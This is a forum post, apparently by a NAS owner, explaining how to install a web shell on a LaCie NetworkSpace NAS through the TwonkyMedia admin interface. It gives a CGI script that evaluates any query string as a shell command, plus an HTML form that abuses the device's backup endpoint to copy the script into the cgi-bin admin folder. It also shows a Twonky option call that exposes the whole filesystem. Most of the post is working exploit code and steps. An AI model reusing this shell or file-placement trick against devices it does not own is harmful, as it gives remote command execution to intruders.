Hi,
i found a way to add webshell without dissassembling.
it suppose you have acces to admin of twonkymedia
http://lacie.nas-central.org/wiki/NetworkSpace:_MultimediaServersFirst you have to create a file Webshell and copy it to a folder on an usb key
Code:
#!/bin/sh
echo "Content-type: text/plain"
echo ""
echo $QUERY_STRING
eval $QUERY_STRING
Plug the usb key on the NAS.
i can't upload file so copy this code on a html page :
Code:
<html>
<head>
<title>Backup</title>
<script language='Javascript'>
function submitForm()
{
document.edit_form.action = 'http://' + document.getElementById('ipnas').value + '/cgi-bin/admin/backup';
document.edit_form.submit();
}
</script>
</head>
<body>
<form name='edit_form' method='post' >
Nas Ip adress or Name
</br>
<input tyte='text' name='ipnas' id='ipnas' value='NetworkSpace' size='60'>
</br>
Source (Path to folder and not file on usbkey)
(Not / at the end)
</br>
<input tyte='text' name='select2' id='select2' value='/home/usbdisksdb1/webshell' size='60'>
</br>
Destination (Normally, don't modify)
(Not / at the end)
</br>
<input tyte='text' name='select1' id='select1' value='/www/cgi-bin/admin' size='60'>
</br>
<input type='hidden' id='update' name='update' value='true'>
</br>
<a href='javascript:submitForm();'>Copy</a>
</form>
</body>
</html>
open it, complete with correct value and click copy
it will display an error, but copy the file but it create a directory with a timestamp.
so to know the name of the directory.
http://
your ip:9000/rpc/set_option?contentbase=/
no go to a config page of twonky media(http://
your ip:9000/config), and look for a directory, you have now acces to all directory.
go to "/www/cgi-bin/admin/"
there is there the directory with the time-stamp.
copy it and paste to :
http://
your ip/cgi-bin/admin/
your directory/webshell?
webshell is now working.
after you can follow the procedure here :
http://jebimony.com/blog/content/add-ssh-lacie-edmini-v2